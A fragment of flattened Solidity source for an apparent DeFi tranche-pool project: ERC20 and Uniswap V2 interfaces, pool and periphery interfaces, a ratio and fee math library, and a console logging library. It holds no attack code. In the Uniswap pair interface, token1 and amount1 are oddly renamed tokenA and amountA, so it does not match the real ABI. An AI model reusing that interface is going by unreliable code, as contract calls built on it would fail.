bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.1;
pragma experimental ABIEncoderV2;
interface IKeeperSubsidyPool {
function getController() external view returns (address);
function setController(address _controller) external returns (bool);
function setBeneficiary(address beneficiary, bool canRequest) external returns (bool);
function isBeneficiary(address beneficiary) external view returns (bool);
function requestSubsidy(address token, uint256 amount) external returns (bool);
}
// SPDX-License-Identifier: GNU
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// SPDX-License-Identifier: GNU
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed tokenA, address pair, uint);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
// SPDX-License-Identifier: GNU
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amountA);
event Burn(address indexed sender, uint amount0, uint amountA, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amountAIn,
uint amount0Out,
uint amountAOut,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserveA);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function tokenA() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserveA, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amountA);
function swap(uint amount0Out, uint amountAOut, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.1;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IEToken is IERC20 {
function getController() external view returns (address);
function setController(address _controller) external returns (bool);
function mint(address account, uint256 amount) external returns (bool);
function burn(address account, uint256 amount) external returns (bool);
function recover(IERC20 token, uint256 amount) external returns (bool);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.1;
pragma experimental ABIEncoderV2;
import "./IKeeperSubsidyPool.sol";
import "./IUniswapRouterV2.sol";
import "./IUniswapFactory.sol";
import "./IEPool.sol";
interface IEPoolPeriphery {
function getController() external view returns (address);
function setController(address _controller) external returns (bool);
function factory() external view returns (IUniswapV2Factory);
function router() external view returns (IUniswapV2Router01);
function ePools(address) external view returns (bool);
function keeperSubsidyPool() external view returns (IKeeperSubsidyPool);
function maxFlashSwapSlippage() external view returns (uint256);
function setEPoolApproval(IEPool ePool, bool approval) external returns (bool);
function setMaxFlashSwapSlippage(uint256 _maxFlashSwapSlippage) external returns (bool);
function issueForMaxTokenA(
IEPool ePool,
address eToken,
uint256 amount,
uint256 maxInputAmountA,
uint256 deadline
) external returns (bool);
function issueForMaxTokenB(
IEPool ePool,
address eToken,
uint256 amount,
uint256 maxInputAmountB,
uint256 deadline
) external returns (bool);
function redeemForMinTokenA(
IEPool ePool,
address eToken,
uint256 amount,
uint256 minOutputA,
uint256 deadline
) external returns (bool);
function redeemForMinTokenB(
IEPool ePool,
address eToken,
uint256 amount,
uint256 minOutputB,
uint256 deadline
) external returns (bool);
function rebalanceWithFlashSwap(IEPool ePool, uint256 fracDelta) external returns (bool);
function recover(IERC20 token, uint256 amount) external returns (bool);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.1;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IEToken.sol";
interface IEPool {
struct Tranche {
IEToken eToken;
uint256 sFactorE;
uint256 reserveA;
uint256 reserveB;
uint256 targetRatio;
}
function getController() external view returns (address);
function setController(address _controller) external returns (bool);
function tokenA() external view returns (IERC20);
function tokenB() external view returns (IERC20);
function sFactorA() external view returns (uint256);
function sFactorB() external view returns (uint256);
function getTranche(address eToken) external view returns (Tranche memory);
function getTranches() external view returns(Tranche[] memory _tranches);
function addTranche(uint256 targetRatio, string memory eTokenName, string memory eTokenSymbol) external returns (bool);
function getAggregator() external view returns (address);
function setAggregator(address oracle, bool inverseRate) external returns (bool);
function rebalanceMinRDiv() external view returns (uint256);
function rebalanceInterval() external view returns (uint256);
function lastRebalance() external view returns (uint256);
function feeRate() external view returns (uint256);
function cumulativeFeeA() external view returns (uint256);
function cumulativeFeeB() external view returns (uint256);
function setFeeRate(uint256 _feeRate) external returns (bool);
function transferFees() external returns (bool);
function getRate() external view returns (uint256);
function rebalance(uint256 fracDelta) external returns (uint256 deltaA, uint256 deltaB, uint256 rChange, uint256 rDiv);
function issueExact(address eToken, uint256 amount) external returns (uint256 amountA, uint256 amountB);
function redeemExact(address eToken, uint256 amount) external returns (uint256 amountA, uint256 amountB);
function recover(IERC20 token, uint256 amount) external returns (bool);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.1;
import "../interfaces/IController.sol";
contract ControllerMixin {
event SetController(address controller);
IController internal controller;
constructor(IController _controller) {
controller = _controller;
}
modifier onlyDao(string memory revertMsg) {
require(msg.sender == controller.dao(), revertMsg);
_;
}
modifier onlyDaoOrGuardian(string memory revertMsg) {
require(controller.isDaoOrGuardian(msg.sender), revertMsg);
_;
}
modifier issuanceNotPaused(string memory revertMsg) {
require(controller.pausedIssuance() == false, revertMsg);
_;
}
function _setController(address _controller) internal {
controller = IController(_controller);
emit SetController(_controller);
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.1;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../interfaces/IERC20Optional.sol";
library TokenUtils {
function decimals(IERC20 token) internal view returns (uint8) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSignature("decimals()"));
require(success, "TokenUtils: no decimals");
uint8 _decimals = abi.decode(data, (uint8));
return _decimals;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.1;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./interfaces/IETokenFactory.sol";
import "./interfaces/IEToken.sol";
import "./interfaces/IEPool.sol";
import "./utils/TokenUtils.sol";
import "./utils/Math.sol";
library EPoolLibrary {
using TokenUtils for IERC20;
uint256 internal constant sFactorI = 1e18; // internal scaling factor (18 decimals)
/**
* @notice Returns the target ratio if reserveA and reserveB are 0 (for initial deposit)
* currentRatio := (reserveA denominated in tokenB / reserveB denominated in tokenB) with decI decimals
*/
function currentRatio(
IEPool.Tranche memory t,
uint256 rate,
uint256 sFactorA,
uint256 sFactorB
) internal pure returns(uint256) {
if (t.reserveA == 0 || t.reserveB == 0) {
if (t.reserveA == 0 && t.reserveB == 0) return t.targetRatio;
if (t.reserveA == 0) return 0;
if (t.reserveB == 0) return type(uint256).max;
}
return ((t.reserveA * rate / sFactorA) * sFactorI) / (t.reserveB * sFactorI / sFactorB);
}
/**
* @notice Returns the deviation of reserveA and reserveB from target ratio
* currentRatio > targetRatio: release TokenA liquidity and add TokenB liquidity
* currentRatio < targetRatio: add TokenA liquidity and release TokenB liquidity
* deltaA := abs(t.reserveA, (t.reserveB / rate * t.targetRatio)) / (1 + t.targetRatio)
* deltaB := deltaA * rate
*/
function trancheDelta(
IEPool.Tranche memory t,
uint256 rate,
uint256 sFactorA,
uint256 sFactorB
) internal pure returns (uint256 deltaA, uint256 deltaB, uint256 rChange) {
rChange = (currentRatio(t, rate, sFactorA, sFactorB) < t.targetRatio) ? 1 : 0;
deltaA = (
Math.abs(t.reserveA, tokenAForTokenB(t.reserveB, t.targetRatio, rate, sFactorA, sFactorB)) * sFactorA
) / (sFactorA + (t.targetRatio * sFactorA / sFactorI));
// (convert to TokenB precision first to avoid altering deltaA)
deltaB = ((deltaA * sFactorB / sFactorA) * rate) / sFactorI;
}
/**
* @notice Returns the sum of the tranches reserve deltas
*/
function delta(
IEPool.Tranche[] memory ts,
uint256 rate,
uint256 sFactorA,
uint256 sFactorB
) internal pure returns (uint256 deltaA, uint256 deltaB, uint256 rChange, uint256 rDiv) {
uint256 totalReserveA;
int256 totalDeltaA;
int256 totalDeltaB;
for (uint256 i = 0; i < ts.length; i++) {
totalReserveA += ts[i].reserveA;
(uint256 _deltaA, uint256 _deltaB, uint256 _rChange) = trancheDelta(
ts[i], rate, sFactorA, sFactorB
);
(totalDeltaA, totalDeltaB) = (_rChange == 0)
? (totalDeltaA - int256(_deltaA), totalDeltaB + int256(_deltaB))
: (totalDeltaA + int256(_deltaA), totalDeltaB - int256(_deltaB));
}
if (totalDeltaA > 0) {
(deltaA, deltaB, rChange) = (uint256(totalDeltaA), uint256(-totalDeltaB), 1);
} else {
(deltaA, deltaB, rChange) = (uint256(-totalDeltaA), uint256(totalDeltaB), 0);
}
rDiv = (totalReserveA == 0) ? 0 : deltaA * EPoolLibrary.sFactorI / totalReserveA;
}
/**
* @notice how much EToken can be issued, redeemed for amountA and amountB
* initial issuance / last redemption: sqrt(amountA * amountB)
* subsequent issuances / non nullifying redemptions: claim on reserve * EToken total supply
*/
function eTokenForTokenATokenB(
IEPool.Tranche memory t,
uint256 amountA,
uint256 amountB,
uint256 rate,
uint256 sFactorA,
uint256 sFactorB
) internal view returns (uint256) {
uint256 amountsA = totalA(amountA, amountB, rate, sFactorA, sFactorB);
if (t.reserveA + t.reserveB == 0) {
return (Math.sqrt((amountsA * t.sFactorE / sFactorA) * t.sFactorE));
}
uint256 reservesA = totalA(t.reserveA, t.reserveB, rate, sFactorA, sFactorB);
uint256 share = ((amountsA * t.sFactorE / sFactorA) * t.sFactorE) / (reservesA * t.sFactorE / sFactorA);
return share * t.eToken.totalSupply() / t.sFactorE;
}
/**
* @notice Given an amount of EToken, how much TokenA and TokenB have to be deposited, withdrawn for it
* initial issuance / last redemption: sqrt(amountA * amountB) -> such that the inverse := EToken amount ** 2
* subsequent issuances / non nullifying redemptions: claim on EToken supply * reserveA/B
*/
function tokenATokenBForEToken(
IEPool.Tranche memory t,
uint256 amount,
uint256 rate,
uint256 sFactorA,
uint256 sFactorB
) internal view returns (uint256 amountA, uint256 amountB) {
if (t.reserveA + t.reserveB == 0) {
uint256 amountsA = amount * sFactorA / t.sFactorE;
(amountA, amountB) = tokenATokenBForTokenA(
amountsA * amountsA / sFactorA , t.targetRatio, rate, sFactorA, sFactorB
);
} else {
uint256 eTokenTotalSupply = t.eToken.totalSupply();
if (eTokenTotalSupply == 0) return(0, 0);
uint256 share = amount * t.sFactorE / eTokenTotalSupply;
amountA = share * t.reserveA / t.sFactorE;
amountB = share * t.reserveB / t.sFactorE;
}
}
/**
* @notice Given amountB, which amountA is required such that amountB / amountA is equal to the ratio
* amountA := amountBInTokenA * ratio
*/
function tokenAForTokenB(
uint256 amountB,
uint256 ratio,
uint256 rate,
uint256 sFactorA,
uint256 sFactorB
) internal pure returns(uint256) {
return (((amountB * sFactorI / sFactorB) * ratio) / rate) * sFactorA / sFactorI;
}
/**
* @notice Given amountA, which amountB is required such that amountB / amountA is equal to the ratio
* amountB := amountAInTokenB / ratio
*/
function tokenBForTokenA(
uint256 amountA,
uint256 ratio,
uint256 rate,
uint256 sFactorA,
uint256 sFactorB
) internal pure returns(uint256) {
return (((amountA * sFactorI / sFactorA) * rate) / ratio) * sFactorB / sFactorI;
}
/**
* @notice Given an amount of TokenA, how can it be split up proportionally into amountA and amountB
* according to the ratio
* amountA := total - (total / (1 + ratio)) == (total * ratio) / (1 + ratio)
* amountB := (total / (1 + ratio)) * rate
*/
function tokenATokenBForTokenA(
uint256 _totalA,
uint256 ratio,
uint256 rate,
uint256 sFactorA,
uint256 sFactorB
) internal pure returns (uint256 amountA, uint256 amountB) {
amountA = _totalA - (_totalA * sFactorI / (sFactorI + ratio));
amountB = (((_totalA * sFactorI / sFactorA) * rate) / (sFactorI + ratio)) * sFactorB / sFactorI;
}
/**
* @notice Given an amount of TokenB, how can it be split up proportionally into amountA and amountB
* according to the ratio
* amountA := (total * ratio) / (rate * (1 + ratio))
* amountB := total / (1 + ratio)
*/
function tokenATokenBForTokenB(
uint256 _totalB,
uint256 ratio,
uint256 rate,
uint256 sFactorA,
uint256 sFactorB
) internal pure returns (uint256 amountA, uint256 amountB) {
amountA = ((((_totalB * sFactorI / sFactorB) * ratio) / (sFactorI + ratio)) * sFactorA) / rate;
amountB = (_totalB * sFactorI) / (sFactorI + ratio);
}
/**
* @notice Return the total value of amountA and amountB denominated in TokenA
* totalA := amountA + (amountB / rate)
*/
function totalA(
uint256 amountA,
uint256 amountB,
uint256 rate,
uint256 sFactorA,
uint256 sFactorB
) internal pure returns (uint256 _totalA) {
return amountA + ((((amountB * sFactorI / sFactorB) * sFactorI) / rate) * sFactorA) / sFactorI;
}
/**
* @notice Return the total value of amountA and amountB denominated in TokenB
* totalB := amountB + (amountA * rate)
*/
function totalB(
uint256 amountA,
uint256 amountB,
uint256 rate,
uint256 sFactorA,
uint256 sFactorB
) internal pure returns (uint256 _totalB) {
return amountB + ((amountA * rate / sFactorA) * sFactorB) / sFactorI;
}
/**
* @notice Return the withdrawal fee for a given amount of TokenA and TokenB
* feeA := amountA * feeRate
* feeB := amountB * feeRate
*/
function feeAFeeBForTokenATokenB(
uint256 amountA,
uint256 amountB,
uint256 feeRate
) internal pure returns (uint256 feeA, uint256 feeB) {
feeA = amountA * feeRate / EPoolLibrary.sFactorI;
feeB = amountB * feeRate / EPoolLibrary.sFactorI;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
